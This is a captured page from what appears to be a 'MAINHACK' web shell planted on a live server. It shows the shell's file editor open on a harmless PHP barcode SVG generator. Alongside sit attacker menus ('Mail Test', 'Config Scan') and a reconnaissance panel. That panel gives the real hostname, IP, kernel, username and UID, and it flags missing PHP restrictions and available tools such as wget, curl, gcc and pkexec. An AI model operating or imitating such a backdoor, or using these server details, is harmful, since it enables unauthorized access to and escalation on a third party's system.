[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SVG.php
<?php namespace AgeekDev\Barcode\Drivers; use AgeekDev\Barcode\AbstractGenerator; use AgeekDev\Barcode\BarcodeBar; class SVG extends AbstractGenerator { /** * Return SVG string representation of barcode. * * @param string $text code to print */ public function generate(string $text): string { $barcodeData = $this->getBarcodeData($text, $this->type); // replace table for special characters $repstr = ["\0" => '', '&' => '&', '<' => '<', '>' => '>']; $width = round(($barcodeData->getWidth() * $this->widthFactor), 3); $svg = '<?xml version="1.0" standalone="no" ?>'.PHP_EOL; $svg .= '<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">'.PHP_EOL; $svg .= '<svg width="'.$width.'" height="'.$this->height.'" viewBox="0 0 '.$width.' '.$this->height.'" version="1.1" xmlns="http://www.w3.org/2000/svg">'.PHP_EOL; $svg .= "\t".'<desc>'.strtr($barcodeData->getBarcode(), $repstr).'</desc>'.PHP_EOL; $svg .= "\t".'<g id="bars" fill="'.$this->foregroundColor.'" stroke="none">'.PHP_EOL; // print bars $positionHorizontal = 0; /** @var BarcodeBar $bar */ foreach ($barcodeData->getBars() as $bar) { $barWidth = round(($bar->getWidth() * $this->widthFactor), 3); $barHeight = round(($bar->getHeight() * $this->height / $barcodeData->getHeight()), 3); if ($bar->isBar() && $barWidth > 0) { $positionVertical = round(($bar->getPositionVertical() * $this->height / $barcodeData->getHeight()), 3); // draw a vertical bar $svg .= "\t\t".'<rect x="'.$positionHorizontal.'" y="'.$positionVertical.'" width="'.$barWidth.'" height="'.$barHeight.'" />'.PHP_EOL; } $positionHorizontal += $barWidth; } $svg .= "\t</g>".PHP_EOL; $svg .= '</svg>'.PHP_EOL; return $svg; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.56 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002